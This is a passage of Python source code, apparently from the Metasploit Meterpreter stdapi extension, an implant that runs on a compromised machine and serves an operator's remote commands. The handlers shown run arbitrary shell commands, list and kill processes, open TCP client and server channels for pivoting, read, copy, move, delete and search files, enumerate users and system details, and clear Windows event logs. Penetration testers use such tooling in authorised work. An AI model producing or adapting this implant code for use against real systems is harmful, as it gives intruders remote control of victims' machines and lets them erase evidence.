	ctypes.windll.kernel32.CloseHandle(token_handle)
	if not result:
		return None
	return cstruct_unpack(TOKEN_USER, token_user_buffer)

def get_username_from_token(token_user):
	user = (ctypes.c_char * 512)()
	domain = (ctypes.c_char * 512)()
	user_len = ctypes.c_uint32()
	user_len.value = ctypes.sizeof(user)
	domain_len = ctypes.c_uint32()
	domain_len.value = ctypes.sizeof(domain)
	use = ctypes.c_ulong()
	use.value = 0
	LookupAccountSid = ctypes.windll.advapi32.LookupAccountSidA
	LookupAccountSid.argtypes = [ctypes.c_void_p] * 7
	if not LookupAccountSid(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
		return None
	return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))

def get_windll_lang():
	if not hasattr(ctypes.windll.kernel32, 'GetSystemDefaultLangID'):
		return None
	kernel32 = ctypes.windll.kernel32
	kernel32.GetSystemDefaultLangID.restype = ctypes.c_uint16
	lang_id = kernel32.GetSystemDefaultLangID()

	size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, 0, 0)
	ctry_name = (ctypes.c_wchar * size)()
	kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, ctry_name, size)

	size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, 0, 0)
	lang_name = (ctypes.c_wchar * size)()
	kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, lang_name, size)

	if not (len(ctry_name.value) and len(lang_name)):
		return 'Unknown'
	return lang_name.value + '_' + ctry_name.value

def get_windll_os_name():
	os_info = windll_RtlGetVersion()
	if not os_info:
		return None
	is_workstation = os_info.wProductType == VER_NT_WORKSTATION
	os_name = None
	if os_info.dwMajorVersion == 3:
		os_name = 'NT 3.51'
	elif os_info.dwMajorVersion == 4:
		if os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS:
			os_name = '95'
		elif os_info.dwMinorVersion == 10:
			os_name = '98'
		elif os_info.dwMinorVersion == 90:
			os_name = 'ME'
		elif os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_NT:
			os_name = 'NT 4.0'
	elif os_info.dwMajorVersion == 5:
		if os_info.dwMinorVersion == 0:
			os_name = '2000'
		elif os_info.dwMinorVersion == 1:
			os_name = 'XP'
		elif os_info.dwMinorVersion == 2:
			os_name = '.NET Server'
	elif os_info.dwMajorVersion == 6:
		if os_info.dwMinorVersion == 0:
			os_name = ('Vista' if is_workstation else '2008')
		elif os_info.dwMinorVersion == 1:
			os_name = ('7' if is_workstation else '2008 R2')
		elif os_info.dwMinorVersion == 2:
			os_name = ('8' if is_workstation else '2012')
		elif os_info.dwMinorVersion == 3:
			os_name = ('8.1' if is_workstation else '2012 R2')
	elif os_info.dwMajorVersion == 10:
		if os_info.dwMinorVersion == 0:
			os_name = ('10' if is_workstation else '2016')

	if not os_name:
		os_name = 'Unknown'
	os_name = 'Windows ' + os_name
	if os_info.szCSDVersion:
		os_name += ' (Build ' + str(os_info.dwBuildNumber) + ', ' + os_info.szCSDVersion + ')'
	else:
		os_name += ' (Build ' + str(os_info.dwBuildNumber) + ')'
	return os_name

def netlink_request(req_type):
	import select
	# See RFC 3549
	NLM_F_REQUEST    = 0x0001
	NLM_F_ROOT       = 0x0100
	NLMSG_ERROR      = 0x0002
	NLMSG_DONE       = 0x0003

	sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
	sock.bind((os.getpid(), 0))
	seq = int(time.time())
	nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
	sock.send(nlmsg)
	responses = []
	if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
		return responses
	raw_response_data = sock.recv(0xfffff)
	response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
	raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
	while response.type != NLMSG_DONE:
		if response.type == NLMSG_ERROR:
			break
		response_data = raw_response_data[:(response.len - 16)]
		responses.append(response_data)
		raw_response_data = raw_response_data[len(response_data):]
		if not len(raw_response_data):
			if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
				break
			raw_response_data = sock.recv(0xfffff)
		response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
		raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
	sock.close()
	return responses

def resolve_host(hostname, family):
	address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
	family = address_info[0]
	address = address_info[4][0]
	return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)}

def windll_RtlGetVersion():
	if not has_windll:
		return None
	os_info = OSVERSIONINFOEXW()
	os_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
	if ctypes.windll.ntdll.RtlGetVersion(ctypes.byref(os_info)) != 0:
		return None
	return os_info

def windll_GetNativeSystemInfo():
	if not has_windll:
		return None
	sysinfo = SYSTEM_INFO()
	ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
	return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)

def windll_GetVersion():
	if not has_windll:
		return None
	dwVersion = ctypes.windll.kernel32.GetVersion()
	dwMajorVersion =  (dwVersion & 0x000000ff)
	dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
	dwBuild        = ((dwVersion & 0xffff0000) >> 16)
	return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))

@register_function
def channel_open_stdapi_fs_file(request, response):
	fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
	if fmode:
		fmode = fmode['value']
		fmode = fmode.replace('bb', 'b')
	else:
		fmode = 'rb'
	file_h = open(unicode(fpath), fmode)
	channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_tcp_client(request, response):
	host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
	port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
	local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
	local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
	retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
	connected = False
	for i in range(retries + 1):
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.settimeout(3.0)
		if local_host.get('value') and local_port.get('value'):
			sock.bind((local_host['value'], local_port['value']))
		try:
			sock.connect((host, port))
			connected = True
			break
		except:
			pass
	if not connected:
		return ERROR_CONNECTION_ERROR, response
	channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_tcp_server(request, response):
	local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
	local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
	server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	server_sock.bind((local_host, local_port))
	server_sock.listen(socket.SOMAXCONN)
	channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_getenv(request, response):
	for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
		pgroup = bytes()
		env_var = env_var['value']
		env_var = env_var.replace('%', '')
		env_var = env_var.replace('$', '')
		env_val = os.environ.get(env_var)
		if env_val:
			pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
			pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
			response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_config_getsid(request, response):
	token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
	if not token:
		return error_result_windows(), response
	sid_str = ctypes.c_char_p()
	ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA
	ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
	if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)):
		return error_result_windows(), response
	sid_str = str(ctypes.string_at(sid_str))
	response += tlv_pack(TLV_TYPE_SID, sid_str)
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_getuid(request, response):
	if has_pwd:
		username = pwd.getpwuid(os.getuid()).pw_name
	elif has_windll:
		token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
		if not token:
			return error_result_windows(), response
		username = get_username_from_token(token)
		if not username:
			return error_result_windows(), response
	else:
		username = getpass.getuser()
	response += tlv_pack(TLV_TYPE_USER_NAME, username)
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_localtime(request, response):
	localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
	direction = "-" if time.timezone > 0 else "+"
	localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36)))
	response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime)
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_sysinfo(request, response):
	uname_info = platform.uname()
	response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
	os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]
	lang = None
	if 'LANG' in os.environ:
		lang = os.environ['LANG'].split('.', 1)[0]
	if has_windll:
		os_name = get_windll_os_name() or os_name
		lang = (get_windll_lang() or lang)
	if lang:
		response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang)
	response += tlv_pack(TLV_TYPE_OS_NAME, os_name)
	response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_close(request, response):
	proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
	if not proc_h_id:
		return ERROR_SUCCESS, response
	proc_h_id = proc_h_id['value']
	if meterpreter.processes.has_key(proc_h_id):
		del meterpreter.processes[proc_h_id]
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_execute(request, response):
	cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
	raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
	if raw_args:
		raw_args = raw_args['value']
	else:
		raw_args = ""
	flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
	if len(cmd) == 0:
		return ERROR_FAILURE, response
	if os.path.isfile('/bin/sh'):
		args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
	else:
		args = [cmd]
		args.extend(shlex.split(raw_args))
	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
		if has_pty:
			master, slave = pty.openpty()
			if has_termios:
				settings = termios.tcgetattr(master)
				settings[3] = settings[3] & ~termios.ECHO
				termios.tcsetattr(master, termios.TCSADRAIN, settings)
			proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
			proc_h.stdin = os.fdopen(master, 'wb')
			proc_h.stdout = os.fdopen(master, 'rb')
			proc_h.stderr = open(os.devnull, 'rb')
		else:
			proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
			proc_h.echo_protection = True
		proc_h.start()
	else:
		proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	proc_h_id = meterpreter.add_process(proc_h)
	response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
	response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
		channel_id = meterpreter.add_channel(proc_h)
		response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_getpid(request, response):
	response += tlv_pack(TLV_TYPE_PID, os.getpid())
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_kill(request, response):
	for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
		pid = pid['value']
		if has_windll:
			k32 = ctypes.windll.kernel32
			proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
			if not proc_h:
				return error_result_windows(), response
			if not k32.TerminateProcess(proc_h, 0):
				return error_result_windows(), response
		elif hasattr(os, 'kill'):
			os.kill(pid, 9)
		else:
			return ERROR_FAILURE, response
	return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_proc(request, response):
	for pid in os.listdir('/proc'):
		pgroup = bytes()
		if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
			continue
		cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
		cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
		status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
		status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
		status = {}
		for k, v in filter(lambda x: len(x) == 2, status_data):
			status[k[:-1]] = v.strip()
		ppid = status.get('PPid')
		uid = status.get('Uid').split('\t', 1)[0]
		if has_pwd:
			uid = pwd.getpwuid(int(uid)).pw_name
		if cmd:
			pname = os.path.basename(cmd.split(' ', 1)[0])
			ppath = cmd
		else:
			pname = '[' + status['Name'] + ']'
			ppath = ''
		pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
		if ppid:
			pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
		pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
	return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_ps(request, response):
	ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
	proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	ps_output = str(proc_h.stdout.read())
	ps_output = ps_output.split('\n')
	ps_output.pop(0)
	for process in ps_output:
		process = process.split()
		if len(process) < 4:
			break
		pgroup  = bytes()
		pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
		pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
		pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
	return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_windll(request, response):
	TH32CS_SNAPPROCESS = 2
	TOKEN_QUERY = 0x0008
	TokenUser = 1
	k32 = ctypes.windll.kernel32
	pe32 = PROCESSENTRY32()
	pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
	proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
	result = k32.Process32First(proc_snap, ctypes.byref(pe32))
	if not result:
		return error_result_windows(), response
	while result:
		proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
		if not proc_h:
			proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
		exe_path = (ctypes.c_char * 1024)()
		success = False
		if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
			success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
		elif hasattr(k32, 'GetModuleFileNameExA'):
			success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
		if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
			dw_sz = ctypes.c_uint32()
			dw_sz.value = ctypes.sizeof(exe_path)
			success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
		if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
			success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
		if success:
			exe_path = ctypes.string_at(exe_path)
		else:
			exe_path = ''
		process_username = ''
		process_token_user = get_token_user(proc_h)
		if process_token_user:
			process_username = get_username_from_token(process_token_user) or ''
		parch = windll_GetNativeSystemInfo()
		is_wow64 = ctypes.c_ubyte()
		is_wow64.value = 0
		if hasattr(k32, 'IsWow64Process'):
			if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
				if is_wow64.value:
					parch = PROCESS_ARCH_X86
		pgroup  = bytes()
		pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
		pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
		pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
		result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
		k32.CloseHandle(proc_h)
	k32.CloseHandle(proc_snap)
	return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_get_processes(request, response):
	if os.path.isdir('/proc'):
		return stdapi_sys_process_get_processes_via_proc(request, response)
	elif has_windll:
		return stdapi_sys_process_get_processes_via_windll(request, response)
	else:
		return stdapi_sys_process_get_processes_via_ps(request, response)
	return ERROR_FAILURE, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_open(request, response):
	source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value']
	handle = ctypes.windll.advapi32.OpenEventLogW(None, source_name)
	if not handle:
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_read(request, response):
	handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
	flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value']
	offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value']
	adv32 = ctypes.windll.advapi32
	bytes_read = ctypes.c_ulong(0)
	bytes_needed = ctypes.c_ulong(0)
	if adv32.ReadEventLogW(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
		return error_result_windows(), response
	buf = ctypes.create_unicode_buffer(bytes_needed.value)
	if not adv32.ReadEventLogW(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
		return error_result_windows(), response
	record = cstruct_unpack(EVENTLOGRECORD, buf)
	response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber)
	response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated)
	response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten)
	response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID)
	response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType)
	response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory)
	response += tlv_pack(TLV_TYPE_EVENT_DATA, buf.raw[record.DataOffset:record.DataOffset + record.DataLength])
	event_strings = buf.raw[record.StringOffset:].split('\x00', record.NumStrings)
	for event_string in event_strings:
		response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_clear(request, response):
	handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
	if not ctypes.windll.advapi32.ClearEventLogW(handle, None):
		return error_result_windows(), response
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_numrecords(request, response):
	handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
	total = ctypes.c_ulong(0)
	if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)):
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_oldest(request, response):
	handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
	oldest = ctypes.c_ulong(0)
	if not ctypes.windll.advapi32.GetOldestEventLogRecordW(handle, ctypes.byref(oldest)):
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_close(request, response):
	handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
	if not ctypes.windll.advapi32.CloseEventLogW(handle):
		return error_result_windows(), response
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_chdir(request, response):
	wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	os.chdir(unicode(wd))
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete(request, response):
	file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
	os.unlink(unicode(file_path))
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete_dir(request, response):
	dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	dir_path = unicode(dir_path)
	if os.path.islink(dir_path):
		del_func = os.unlink
	else:
		del_func = shutil.rmtree
	del_func(dir_path)
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete_file(request, response):
	file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	os.unlink(unicode(file_path))
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_expand_path(request, response):
	path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	if has_windll:
		path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
		path_out = (ctypes.c_char * 4096)()
		path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
		result = str(ctypes.string_at(path_out))
	elif path_tlv == '%COMSPEC%':
		result = '/bin/sh'
	elif path_tlv in ['%TEMP%', '%TMP%']:
		result = '/tmp'
	else:
		result = os.getenv(path_tlv, path_tlv)
	if not result:
		return ERROR_FAILURE, response
	response += tlv_pack(TLV_TYPE_FILE_PATH, result)
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_move(request, response):
	oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
	newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	os.rename(unicode(oldname), unicode(newname))
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_copy(request, response):
	oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
	newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	shutil.copyfile(unicode(oldname), unicode(newname))
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_getwd(request, response):
	if hasattr(os, 'getcwdu'):
		wd = os.getcwdu()
	else:
		wd = os.getcwd()
	response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_ls(request, response):
	path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	path = os.path.abspath(unicode(path))
	glob = '*'
	if any((c in ['*','[','?']) for c in path):
		glob = os.path.basename(path)
		path = os.path.dirname(path)
	for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)):
		file_path = os.path.join(path, file_name)
		response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
		response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
		response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_md5(request, response):
	try:
		import hashlib
		m = hashlib.md5()
	except ImportError:
		import md5
		m = md5.new()
	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	m.update(open(path, 'rb').read())
	response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_mkdir(request, response):
	dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	dir_path = unicode(dir_path)
	if not os.path.isdir(dir_path):
		os.mkdir(dir_path)
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_search(request, response):
	search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
	if not search_root: # sometimes it's an empty string
		search_root = '.'
	search_root = unicode(search_root)
	glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
	recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
	if recurse:
		for root, dirs, files in os.walk(search_root):
			for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
				file_tlv  = ''
				file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
				file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
				file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
				response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
	else:
		for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
			file_tlv  = ''
			file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
			file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
			file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
			response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_separator(request, response):
	response += tlv_pack(TLV_TYPE_STRING, os.sep)
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_sha1(request, response):
	try:
		import hashlib
		m = hashlib.sha1()
	except ImportError:
		import sha
		m = sha.new()
	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	m.update(open(path, 'rb').read())
	response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
	return ERROR_SUCCESS, response

@register_function
def stdapi_fs_stat(request, response):
	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	st_buf = get_stat_buffer(unicode(path))
	response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_fs_mount_show(request, response):
	letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
	k32 = ctypes.windll.kernel32
	mpr = ctypes.windll.mpr
	# Retrieves a bitmask representing the currently available disk drives
	bitmask = k32.GetLogicalDrives()
	# List of currently available disk drives
	drives = []
	for drive_letter in letters:
		# Check if drive is present
		if bitmask & 1:
			drives.append(drive_letter + ':')
		# Move to next drive letter
		bitmask >>= 1
	for drive in drives:
		drive_type = k32.GetDriveTypeW(drive)
		mount = bytes()
		mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive)
		mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type)
		# Get UNC path for network drives
		if drive_type == DRIVE_REMOTE:
			buf = ctypes.create_unicode_buffer(1024)
			bufsize = ctypes.c_ulong(1024)
			if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0:
				pUniversalNameInfo = cstruct_unpack(UNIVERSAL_NAME_INFO, buf)
				mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName)
		# Retrieve information about the amount of space that is available on a disk volume
		user_free_bytes = ctypes.c_ulonglong(0)
		total_bytes = ctypes.c_ulonglong(0)
		total_free_bytes = ctypes.c_ulonglong(0)
		if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)):
			mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value)
			mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value)
			mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value)
		response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount)
	return ERROR_SUCCESS, response

@register_function
def stdapi_net_config_get_interfaces(request, response):
	if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
		interfaces = stdapi_net_config_get_interfaces_via_netlink()
	elif sys.platform == 'darwin':
		interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig()
	elif has_windll:
